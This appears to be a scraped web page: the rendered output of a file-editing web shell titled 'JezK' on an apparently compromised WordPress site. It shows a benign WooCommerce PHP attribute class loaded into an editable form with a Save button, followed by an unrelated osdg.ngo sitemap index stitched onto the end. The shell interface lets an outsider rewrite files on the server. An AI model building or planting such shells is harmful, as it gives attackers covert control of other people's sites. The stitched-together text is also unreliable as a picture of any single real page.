
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: HiddenFromMetadataQuery.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

declare(strict_types=1);

namespace Automattic\WooCommerce\Api\Attributes;

use Attribute;

/**
 * Marker attribute that opts a code-API target out of the `_apiMetadata`
 * discovery query without affecting any other behaviour. Apply on a
 * class (output / input type, query, mutation) or on a property to hide
 * that target&#039;s row — and all its metadata / authorization descriptors —
 * from the `_apiMetadata` endpoint.
 *
 * This is unrelated to native GraphQL introspection (`__schema` /
 * `__type`); those queries continue to expose the schema&#039;s shape as
 * usual. The marker only affects the custom `_apiMetadata` channel.
 *
 * The runtime authorization gates emitted into the generated resolvers
 * are unaffected: an authorization attribute placed alongside this one
 * still runs its `authorize()` method; this marker just removes the
 * declarative shape from the discovery channel.
 *
 * A target&#039;s `_apiMetadata` visibility is the AND of every attribute&#039;s
 * `shows_in_metadata_query()` on the target — so combining
 * `#[HiddenFromMetadataQuery]` with any other attribute that returns
 * `true` (or none at all) still hides the target.
 */
#[Attribute( Attribute::TARGET_CLASS | Attribute::TARGET_PROPERTY | Attribute::TARGET_PARAMETER | Attribute::TARGET_CLASS_CONSTANT )]
final class HiddenFromMetadataQuery {
	/**
	 * Always returns `false`. ApiBuilder calls this during the per-target
	 * `_apiMetadata` visibility check; the target is omitted from the
	 * discovery output as a result.
	 */
	public function shows_in_metadata_query(): bool {
		return false;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://osdg.ngo/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://osdg.ngo/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://osdg.ngo/wp-sitemap-posts-post-2.xml</loc></sitemap><sitemap><loc>https://osdg.ngo/wp-sitemap-posts-post-3.xml</loc></sitemap><sitemap><loc>https://osdg.ngo/wp-sitemap-posts-post-4.xml</loc></sitemap><sitemap><loc>https://osdg.ngo/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://osdg.ngo/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://osdg.ngo/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://osdg.ngo/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
